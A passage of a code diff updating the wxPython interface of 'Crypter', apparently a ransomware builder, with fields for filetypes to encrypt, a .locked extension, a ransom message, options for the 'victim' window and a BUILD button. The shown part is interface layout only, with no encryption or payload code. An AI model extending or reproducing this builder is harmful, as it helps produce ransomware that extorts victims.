sbSizer11.GetStaticBox(), wx.ID_ANY, u"Max File Size to Encrypt (MB)", wx.DefaultPosition, wx.DefaultSize, 0 ) self.MaxFileSizeLabel.Wrap( -1 ) + self.MaxFileSizeLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial Unicode MS" ) ) - self.MaxFileSizeLabel.SetToolTipString( u"The maximum size, in Megabytes, of a file that Crypter should encrypt. Any file that exceeds this limit will not be encrypted. Defaults to 512" ) - + self.MaxFileSizeLabel.SetToolTip( u"The maximum size, in Megabytes, of a file that Crypter should encrypt. Any file that exceeds this limit will not be encrypted. Defaults to 512" ) + bSizer2032121.Add( self.MaxFileSizeLabel, 0, wx.ALL|wx.TOP, 7 ) - - - bSizer2032121.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer2032121.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.MaxFileSizeTextCtrl = wx.TextCtrl( sbSizer11.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.MaxFileSizeTextCtrl.SetToolTipString( u"The maximum size, in Megabytes, of a file that Crypter should encrypt. Any file that exceeds this limit will not be encrypted. Defaults to 512" ) - + self.MaxFileSizeTextCtrl.SetToolTip( u"The maximum size, in Megabytes, of a file that Crypter should encrypt. Any file that exceeds this limit will not be encrypted. Defaults to 512" ) + bSizer2032121.Add( self.MaxFileSizeTextCtrl, 0, wx.ALL, 5 ) - - + + bSizer4111.Add( bSizer2032121, 1, wx.EXPAND, 5 ) - + bSizer20321111 = wx.BoxSizer( wx.HORIZONTAL ) - + self.FiletypesToEncryptLabel = wx.StaticText( sbSizer11.GetStaticBox(), wx.ID_ANY, u"Filetypes to Encrypt", wx.DefaultPosition, wx.DefaultSize, 0 ) self.FiletypesToEncryptLabel.Wrap( -1 ) + self.FiletypesToEncryptLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial Unicode MS" ) ) - self.FiletypesToEncryptLabel.SetToolTipString( u"A comma separated list of filetypes to encrypt. Files with these extensions will be encrypted. Leave this field blank to use the default set of common filetype" ) - + self.FiletypesToEncryptLabel.SetToolTip( u"A comma separated list of filetypes to encrypt. Files with these extensions will be encrypted. Leave this field blank to use the default set of common filetype" ) + bSizer20321111.Add( self.FiletypesToEncryptLabel, 0, wx.ALL|wx.TOP, 7 ) - - - bSizer20321111.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer20321111.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.FiletypesToEncryptTextCtrl = wx.TextCtrl( sbSizer11.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.FiletypesToEncryptTextCtrl.SetToolTipString( u"A comma separated list of filetypes to encrypt. Files with these extensions will be encrypted. Leave this field blank to use the default set of common filetypes" ) - + self.FiletypesToEncryptTextCtrl.SetToolTip( u"A comma separated list of filetypes to encrypt. Files with these extensions will be encrypted. Leave this field blank to use the default set of common filetypes" ) + bSizer20321111.Add( self.FiletypesToEncryptTextCtrl, 0, wx.ALL, 5 ) - - + + bSizer4111.Add( bSizer20321111, 1, wx.EXPAND, 5 ) - - + + sbSizer11.Add( bSizer4111, 1, wx.EXPAND, 5 ) - + bSizer41 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer20321 = wx.BoxSizer( wx.HORIZONTAL ) - + self.EncryptedFileExtensionLabel = wx.StaticText( sbSizer11.GetStaticBox(), wx.ID_ANY, u"Encrypted File Extension", wx.DefaultPosition, wx.DefaultSize, 0 ) self.EncryptedFileExtensionLabel.Wrap( -1 ) + self.EncryptedFileExtensionLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial Unicode MS" ) ) - self.EncryptedFileExtensionLabel.SetToolTipString( u"The file extension to use for encrypted files. If left blank, files encrypted by Crypter will be given a .locked extension" ) - + self.EncryptedFileExtensionLabel.SetToolTip( u"The file extension to use for encrypted files. If left blank, files encrypted by Crypter will be given a .locked extension" ) + bSizer20321.Add( self.EncryptedFileExtensionLabel, 0, wx.ALL|wx.TOP, 7 ) - - - bSizer20321.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer20321.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.EncryptedFileExtensionTextCtrl = wx.TextCtrl( sbSizer11.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.EncryptedFileExtensionTextCtrl.SetToolTipString( u"The file extension to use for encrypted files. If left blank, files encrypted by Crypter will be given a .locked extension" ) - + self.EncryptedFileExtensionTextCtrl.SetToolTip( u"The file extension to use for encrypted files. If left blank, files encrypted by Crypter will be given a .locked extension" ) + bSizer20321.Add( self.EncryptedFileExtensionTextCtrl, 0, wx.ALL, 5 ) - - + + bSizer41.Add( bSizer20321, 1, wx.EXPAND, 5 ) - + bSizer203211 = wx.BoxSizer( wx.HORIZONTAL ) - - - bSizer203211.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - - + + + bSizer203211.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + + bSizer41.Add( bSizer203211, 1, wx.EXPAND, 5 ) - - + + sbSizer11.Add( bSizer41, 1, wx.EXPAND, 5 ) - - + + bSizer39.Add( sbSizer11, 1, wx.EXPAND, 1 ) - + sbSizer12 = wx.StaticBoxSizer( wx.StaticBox( RansomwareSettingsSizer.GetStaticBox(), wx.ID_ANY, u"Graphical User Interface" ), wx.VERTICAL ) - + bSizer41221 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer20321331 = wx.BoxSizer( wx.HORIZONTAL ) - + self.MakeGuiResizeableLabel = wx.StaticText( sbSizer12.GetStaticBox(), wx.ID_ANY, u"Make GUI Resizeable", wx.DefaultPosition, wx.DefaultSize, 0 ) self.MakeGuiResizeableLabel.Wrap( -1 ) - self.MakeGuiResizeableLabel.SetToolTipString( u"If ticked, the victim will be able to resize the Crypter window" ) - + + self.MakeGuiResizeableLabel.SetToolTip( u"If ticked, the victim will be able to resize the Crypter window" ) + bSizer20321331.Add( self.MakeGuiResizeableLabel, 0, wx.ALL, 7 ) - - - bSizer20321331.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer20321331.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.MakeGuiResizeableCheckbox = wx.CheckBox( sbSizer12.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.MakeGuiResizeableCheckbox.SetToolTipString( u"If ticked, the victim will be able to resize the Crypter window" ) - + self.MakeGuiResizeableCheckbox.SetToolTip( u"If ticked, the victim will be able to resize the Crypter window" ) + bSizer20321331.Add( self.MakeGuiResizeableCheckbox, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - - + + bSizer41221.Add( bSizer20321331, 2, wx.EXPAND, 5 ) - + bSizer203213121 = wx.BoxSizer( wx.HORIZONTAL ) - + self.AlwaysOnTopLabel = wx.StaticText( sbSizer12.GetStaticBox(), wx.ID_ANY, u"Always On Top", wx.DefaultPosition, wx.DefaultSize, 0 ) self.AlwaysOnTopLabel.Wrap( -1 ) - self.AlwaysOnTopLabel.SetToolTipString( u"If ticked, the Crypter window will stay on top of all other open windows" ) - + + self.AlwaysOnTopLabel.SetToolTip( u"If ticked, the Crypter window will stay on top of all other open windows" ) + bSizer203213121.Add( self.AlwaysOnTopLabel, 0, wx.ALL, 7 ) - - - bSizer203213121.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer203213121.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.AlwaysOnTopCheckbox = wx.CheckBox( sbSizer12.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) - self.AlwaysOnTopCheckbox.SetToolTipString( u"If ticked, the Crypter window will stay on top of all other open windows" ) - + self.AlwaysOnTopCheckbox.SetToolTip( u"If ticked, the Crypter window will stay on top of all other open windows" ) + bSizer203213121.Add( self.AlwaysOnTopCheckbox, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - - + + bSizer41221.Add( bSizer203213121, 2, wx.EXPAND, 5 ) - - + + sbSizer12.Add( bSizer41221, 1, wx.ALIGN_CENTER_VERTICAL|wx.EXPAND, 5 ) - + bSizer412211 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer203213311 = wx.BoxSizer( wx.HORIZONTAL ) - + self.BackgroundColourLabel = wx.StaticText( sbSizer12.GetStaticBox(), wx.ID_ANY, u"Background Colour", wx.DefaultPosition, wx.DefaultSize, 0 ) self.BackgroundColourLabel.Wrap( -1 ) - self.BackgroundColourLabel.SetToolTipString( u"The background colour of the Crypter GUI" ) - + + self.BackgroundColourLabel.SetToolTip( u"The background colour of the Crypter GUI" ) + bSizer203213311.Add( self.BackgroundColourLabel, 0, wx.ALL, 7 ) - - - bSizer203213311.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer203213311.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.BackgroundColourPicker = wx.ColourPickerCtrl( sbSizer12.GetStaticBox(), wx.ID_ANY, wx.Colour( 177, 7, 14 ), wx.DefaultPosition, wx.DefaultSize, wx.CLRP_DEFAULT_STYLE ) - self.BackgroundColourPicker.SetToolTipString( u"The background colour of the Crypter GUI" ) - + self.BackgroundColourPicker.SetToolTip( u"The background colour of the Crypter GUI" ) + bSizer203213311.Add( self.BackgroundColourPicker, 0, wx.ALL, 5 ) - - + + bSizer412211.Add( bSizer203213311, 2, wx.EXPAND, 5 ) - + bSizer2032131211 = wx.BoxSizer( wx.HORIZONTAL ) - + self.HeadingFontColourLabel = wx.StaticText( sbSizer12.GetStaticBox(), wx.ID_ANY, u"Heading Font Colour", wx.DefaultPosition, wx.DefaultSize, 0 ) self.HeadingFontColourLabel.Wrap( -1 ) - self.HeadingFontColourLabel.SetToolTipString( u"The font colour of the heading/title shown in the Crypter GUI" ) - + + self.HeadingFontColourLabel.SetToolTip( u"The font colour of the heading/title shown in the Crypter GUI" ) + bSizer2032131211.Add( self.HeadingFontColourLabel, 0, wx.ALL, 7 ) - - - bSizer2032131211.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer2032131211.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.HeadingFontColourPicker = wx.ColourPickerCtrl( sbSizer12.GetStaticBox(), wx.ID_ANY, wx.Colour( 0, 0, 0 ), wx.DefaultPosition, wx.DefaultSize, wx.CLRP_DEFAULT_STYLE ) - self.HeadingFontColourPicker.SetToolTipString( u"The font colour of the heading/title shown in the Crypter GUI" ) - + self.HeadingFontColourPicker.SetToolTip( u"The font colour of the heading/title shown in the Crypter GUI" ) + bSizer2032131211.Add( self.HeadingFontColourPicker, 0, wx.ALL, 5 ) - - + + bSizer412211.Add( bSizer2032131211, 2, wx.EXPAND, 5 ) - - + + sbSizer12.Add( bSizer412211, 1, wx.EXPAND, 5 ) - + bSizer4122111 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer2032133111 = wx.BoxSizer( wx.HORIZONTAL ) - + self.PrimaryFontColourLabel = wx.StaticText( sbSizer12.GetStaticBox(), wx.ID_ANY, u"Primary Font Colour", wx.DefaultPosition, wx.DefaultSize, 0 ) self.PrimaryFontColourLabel.Wrap( -1 ) - self.PrimaryFontColourLabel.SetToolTipString( u"The primary font colour of the Crypter GUI" ) - + + self.PrimaryFontColourLabel.SetToolTip( u"The primary font colour of the Crypter GUI" ) + bSizer2032133111.Add( self.PrimaryFontColourLabel, 0, wx.ALL, 7 ) - - - bSizer2032133111.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer2032133111.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.PrimaryFontColourPicker = wx.ColourPickerCtrl( sbSizer12.GetStaticBox(), wx.ID_ANY, wx.Colour( 255, 255, 0 ), wx.DefaultPosition, wx.DefaultSize, wx.CLRP_DEFAULT_STYLE ) - self.PrimaryFontColourPicker.SetToolTipString( u"The primary font colour of the Crypter GUI" ) - + self.PrimaryFontColourPicker.SetToolTip( u"The primary font colour of the Crypter GUI" ) + bSizer2032133111.Add( self.PrimaryFontColourPicker, 0, wx.ALL, 5 ) - - + + bSizer4122111.Add( bSizer2032133111, 2, wx.EXPAND, 5 ) - + bSizer20321312111 = wx.BoxSizer( wx.HORIZONTAL ) - + self.SecondaryFontColourLabel = wx.StaticText( sbSizer12.GetStaticBox(), wx.ID_ANY, u"Seconday Font Colour", wx.DefaultPosition, wx.DefaultSize, 0 ) self.SecondaryFontColourLabel.Wrap( -1 ) - self.SecondaryFontColourLabel.SetToolTipString( u"The secondary font colour of the Crypter GUI" ) - + + self.SecondaryFontColourLabel.SetToolTip( u"The secondary font colour of the Crypter GUI" ) + bSizer20321312111.Add( self.SecondaryFontColourLabel, 0, wx.ALL, 7 ) - - - bSizer20321312111.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer20321312111.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.SecondaryFontColourPicker = wx.ColourPickerCtrl( sbSizer12.GetStaticBox(), wx.ID_ANY, wx.Colour( 255, 255, 255 ), wx.DefaultPosition, wx.DefaultSize, wx.CLRP_DEFAULT_STYLE ) - self.SecondaryFontColourPicker.SetToolTipString( u"The secondary font colour of the Crypter GUI" ) - + self.SecondaryFontColourPicker.SetToolTip( u"The secondary font colour of the Crypter GUI" ) + bSizer20321312111.Add( self.SecondaryFontColourPicker, 0, wx.ALL, 5 ) - - + + bSizer4122111.Add( bSizer20321312111, 2, wx.EXPAND, 5 ) - - + + sbSizer12.Add( bSizer4122111, 1, wx.EXPAND, 5 ) - - + + bSizer39.Add( sbSizer12, 0, wx.EXPAND, 1 ) - + RansomMessageSizer = wx.StaticBoxSizer( wx.StaticBox( RansomwareSettingsSizer.GetStaticBox(), wx.ID_ANY, u"Ransom Message" ), wx.VERTICAL ) - + self.RansomMessageTextCtrl = wx.TextCtrl( RansomMessageSizer.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, wx.TE_MULTILINE ) - self.RansomMessageTextCtrl.SetToolTipString( u"The ransom message to display in the Crypter GUI. Leave this text box blank to use the default ransom message." ) - + self.RansomMessageTextCtrl.SetToolTip( u"The ransom message to display in the Crypter GUI. Leave this text box blank to use the default ransom message." ) + RansomMessageSizer.Add( self.RansomMessageTextCtrl, 1, wx.ALL|wx.EXPAND, 5 ) - - + + bSizer39.Add( RansomMessageSizer, 1, wx.EXPAND, 10 ) - - + + RansomwareSettingsSizer.Add( bSizer39, 1, wx.EXPAND, 5 ) - - + + self.m_panel4.SetSizer( RansomwareSettingsSizer ) self.m_panel4.Layout() RansomwareSettingsSizer.Fit( self.m_panel4 ) bSizer12.Add( self.m_panel4, 1, wx.EXPAND |wx.ALL, 5 ) - - + + bSizer2.Add( bSizer12, 2, wx.EXPAND, 5 ) - + self.m_staticline13 = wx.StaticLine( self.ConfigScrollableWindow, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.LI_HORIZONTAL ) bSizer2.Add( self.m_staticline13, 0, wx.EXPAND |wx.ALL, 5 ) - + bSizer50 = wx.BoxSizer( wx.HORIZONTAL ) - + self.SaveConfigurationLabel = wx.StaticText( self.ConfigScrollableWindow, wx.ID_ANY, u"Save configuration", wx.DefaultPosition, wx.DefaultSize, 0 ) self.SaveConfigurationLabel.Wrap( -1 ) + self.SaveConfigurationLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Arial" ) ) - + bSizer50.Add( self.SaveConfigurationLabel, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - + self.SaveFilePicker = wx.FilePickerCtrl( self.ConfigScrollableWindow, wx.ID_ANY, wx.EmptyString, u"Save Configuration", u"*.*", wx.DefaultPosition, wx.DefaultSize, wx.FLP_OVERWRITE_PROMPT|wx.FLP_SAVE ) - self.SaveFilePicker.SetToolTipString( u"Save your configuration to a configuration file" ) - + self.SaveFilePicker.SetToolTip( u"Save your configuration to a configuration file" ) + bSizer50.Add( self.SaveFilePicker, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) - - + + bSizer2.Add( bSizer50, 0, wx.EXPAND, 5 ) - - + + self.ConfigScrollableWindow.SetSizer( bSizer2 ) self.ConfigScrollableWindow.Layout() bSizer2.Fit( self.ConfigScrollableWindow ) bSizer1.Add( self.ConfigScrollableWindow, 2, wx.ALL|wx.EXPAND, 5 ) - + self.m_staticline21 = wx.StaticLine( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.LI_HORIZONTAL ) bSizer1.Add( self.m_staticline21, 0, wx.EXPAND |wx.ALL, 5 ) - + self.m_panel4112 = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) self.m_panel4112.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNFACE ) ) - + bSizer172 = wx.BoxSizer( wx.VERTICAL ) - + self.BuildProgressGauge = wx.Gauge( self.m_panel4112, wx.ID_ANY, 99, wx.DefaultPosition, wx.DefaultSize, wx.GA_HORIZONTAL ) - self.BuildProgressGauge.SetValue( 0 ) + self.BuildProgressGauge.SetValue( 0 ) bSizer172.Add( self.BuildProgressGauge, 1, wx.ALL|wx.EXPAND, 5 ) - - + + self.m_panel4112.SetSizer( bSizer172 ) self.m_panel4112.Layout() bSizer172.Fit( self.m_panel4112 ) bSizer1.Add( self.m_panel4112, 0, wx.EXPAND |wx.ALL, 5 ) - + self.m_staticline211 = wx.StaticLine( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.LI_HORIZONTAL ) bSizer1.Add( self.m_staticline211, 0, wx.EXPAND |wx.ALL, 5 ) - + self.m_panel411 = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) self.m_panel411.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNFACE ) ) - + bSizer17 = wx.BoxSizer( wx.VERTICAL ) - + ConsoleBoxSizer = wx.StaticBoxSizer( wx.StaticBox( self.m_panel411, wx.ID_ANY, u"Console" ), wx.VERTICAL ) - + self.ConsoleTextCtrl = wx.TextCtrl( ConsoleBoxSizer.GetStaticBox(), wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, wx.HSCROLL|wx.TE_MULTILINE|wx.TE_READONLY ) self.ConsoleTextCtrl.SetForegroundColour( wx.Colour( 24, 249, 0 ) ) self.ConsoleTextCtrl.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_INFOTEXT ) ) - + ConsoleBoxSizer.Add( self.ConsoleTextCtrl, 1, wx.ALL|wx.EXPAND, 4 ) - - + + bSizer17.Add( ConsoleBoxSizer, 1, wx.EXPAND, 5 ) - - + + self.m_panel411.SetSizer( bSizer17 ) self.m_panel411.Layout() bSizer17.Fit( self.m_panel411 ) bSizer1.Add( self.m_panel411, 1, wx.EXPAND |wx.ALL, 5 ) - + self.m_staticline1 = wx.StaticLine( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.LI_HORIZONTAL ) bSizer1.Add( self.m_staticline1, 0, wx.EXPAND |wx.ALL, 5 ) - - self.m_panel4111 = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.DOUBLE_BORDER|wx.TAB_TRAVERSAL ) + + self.m_panel4111 = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) self.m_panel4111.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNFACE ) ) - + bSizer171 = wx.BoxSizer( wx.HORIZONTAL ) - + self.BuildButton = wx.Button( self.m_panel4111, wx.ID_ANY, u"BUILD", wx.DefaultPosition, wx.DefaultSize, 0 ) self.BuildButton.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial" ) ) - self.BuildButton.SetToolTipString( u"Build Crypter to the specified configuration" ) - + self.BuildButton.SetToolTip( u"Build Crypter to the specified configuration" ) + bSizer171.Add( self.BuildButton, 1, wx.ALL|wx.EXPAND, 5 ) - + self.OpenContainingFolderButton = wx.Button( self.m_panel4111, wx.ID_ANY, u"Open Containing Folder", wx.DefaultPosition, wx.DefaultSize, 0 ) - self.OpenContainingFolderButton.SetToolTipString( u"Open the folder containing the produced Crypter executable" ) - + self.OpenContainingFolderButton.SetToolTip( u"Open the folder containing the produced Crypter executable" ) + bSizer171.Add( self.OpenContainingFolderButton, 0, wx.ALL, 5 ) - - + + self.m_panel4111.SetSizer( bSizer171 ) self.m_panel4111.Layout() bSizer171.Fit( self.m_panel4111 ) bSizer1.Add( self.m_panel4111, 0, wx.ALL|wx.EXPAND, 10 ) - - + + self.SetSizer( bSizer1 ) self.Layout() - self.StatusBar = self.CreateStatusBar( 1, wx.ST_SIZEGRIP, wx.ID_ANY ) - + self.StatusBar = self.CreateStatusBar( 1, wx.STB_SIZEGRIP, wx.ID_ANY ) + self.Centre( wx.BOTH ) - + def __del__( self ): pass - + ########################################################################### ## Class EncryptFiletypesDialog ########################################################################### class EncryptFiletypesDialog ( wx.Dialog ): - + def __init__( self, parent ): wx.Dialog.__init__ ( self, parent, id = wx.ID_ANY, title = u"Encryptable Filetypes", pos = wx.DefaultPosition, size = wx.Size( 400,500 ), style = wx.CAPTION|wx.CLOSE_BOX|wx.MAXIMIZE_BOX|wx.MINIMIZE_BOX ) - - self.SetSizeHintsSz( wx.Size( -1,-1 ), wx.DefaultSize ) + + self.SetSizeHints( wx.Size( -1,-1 ), wx.DefaultSize ) self.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Arial" ) ) - + bSizer30 = wx.BoxSizer( wx.VERTICAL ) - - bSizer30.SetMinSize( wx.Size( 400,500 ) ) + + bSizer30.SetMinSize( wx.Size( 400,500 ) ) self.m_staticText15 = wx.StaticText( self, wx.ID_ANY, u"Select the filetypes to encrypt", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText15.Wrap( -1 ) + self.m_staticText15.SetFont( wx.Font( 10, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, True, "Arial" ) ) - + bSizer30.Add( self.m_staticText15, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 20 ) - + self.SelectAllCheckbox = wx.CheckBox( self, wx.ID_ANY, u"Select All", wx.DefaultPosition, wx.DefaultSize, 0 ) self.SelectAllCheckbox.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Arial" ) ) - + bSizer30.Add( self.SelectAllCheckbox, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - + FiletypesSizer = wx.BoxSizer( wx.VERTICAL ) - + self.m_scrolledWindow1 = wx.ScrolledWindow( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.VSCROLL ) self.m_scrolledWindow1.SetScrollRate( 5, 5 ) bSizer32 = wx.BoxSizer( wx.VERTICAL ) - + DocumentFilesSizer = wx.StaticBoxSizer( wx.StaticBox( self.m_scrolledWindow1, wx.ID_ANY, u"Document Files" ), wx.VERTICAL ) - + bSizer54 = wx.BoxSizer( wx.HORIZONTAL ) - + bSizer332 = wx.BoxSizer( wx.VERTICAL ) - + self.m_checkBox52 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"DOCX", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer332.Add( self.m_checkBox52, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - + self.m_checkBox42 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"DOC", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer332.Add( self.m_checkBox42, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - + self.m_checkBox32 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"Check Me!", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer332.Add( self.m_checkBox32, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - + self.m_checkBox22 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"Check Me!", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer332.Add( self.m_checkBox22, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - - + + bSizer54.Add( bSizer332, 1, wx.EXPAND, 5 ) - + bSizer331 = wx.BoxSizer( wx.VERTICAL ) - + self.m_checkBox51 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"Check Me!", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer331.Add( self.m_checkBox51, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - + self.m_checkBox41 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"Check Me!", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer331.Add( self.m_checkBox41, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - + self.m_checkBox31 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"Check Me!", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer331.Add( self.m_checkBox31, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - + self.m_checkBox21 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"Check Me!", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer331.Add( self.m_checkBox21, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - - + + bSizer54.Add( bSizer331, 1, wx.EXPAND, 5 ) - + bSizer33 = wx.BoxSizer( wx.VERTICAL ) - + self.m_checkBox5 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"Check Me!", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer33.Add( self.m_checkBox5, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - + self.m_checkBox4 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"Check Me!", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer33.Add( self.m_checkBox4, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - + self.m_checkBox3 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"Check Me!", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer33.Add( self.m_checkBox3, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - + self.m_checkBox2 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"Check Me!", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer33.Add( self.m_checkBox2, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) - - + + bSizer54.Add( bSizer33, 1, wx.EXPAND, 5 ) - - + + DocumentFilesSizer.Add( bSizer54, 1, wx.EXPAND, 5 ) - + bSizer57 = wx.BoxSizer( wx.HORIZONTAL ) - - - bSizer57.AddSpacer( ( 0, 0), 2, wx.EXPAND, 5 ) - + + + bSizer57.Add( ( 0, 0), 2, wx.EXPAND, 5 ) + self.m_checkBox50 = wx.CheckBox( DocumentFilesSizer.GetStaticBox(), wx.ID_ANY, u"Select All", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_checkBox50.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Arial" ) ) - + bSizer57.Add( self.m_checkBox50, 0, wx.ALL, 10 ) - - + + DocumentFilesSizer.Add( bSizer57, 0, 0, 5 ) - - + + bSizer32.Add( DocumentFilesSizer, 1, wx.EXPAND, 5 ) - + ImageFileszSizer = wx.StaticBoxSizer( wx.StaticBox( self.m_scrolledWindow1, wx.ID_ANY, u"Image Files" ), wx.VERTICAL ) - - + + bSizer32.Add( ImageFileszSizer, 1, wx.EXPAND, 5 ) - + VideoFilesSizer = wx.StaticBoxSizer( wx.StaticBox( self.m_scrolledWindow1, wx.ID_ANY, u"Video Files" ), wx.VERTICAL ) - - + + bSizer32.Add( VideoFilesSizer, 1, wx.EXPAND, 5 ) - - + + self.m_scrolledWindow1.SetSizer( bSizer32 ) self.m_scrolledWindow1.Layout() bSizer32.Fit( self.m_scrolledWindow1 ) FiletypesSizer.Add( self.m_scrolledWindow1, 1, wx.ALL|wx.EXPAND, 5 ) - - + + bSizer30.Add( FiletypesSizer, 1, wx.EXPAND, 5 ) - - + + self.SetSizer( bSizer30 ) self.Layout() - + self.Centre( wx.BOTH ) - + def __del__( self ): pass - + diff --git a/build/ExeBuilder/BuilderThread.py b/CrypterBuilder/BuilderThread.py similarity index 90% rename from 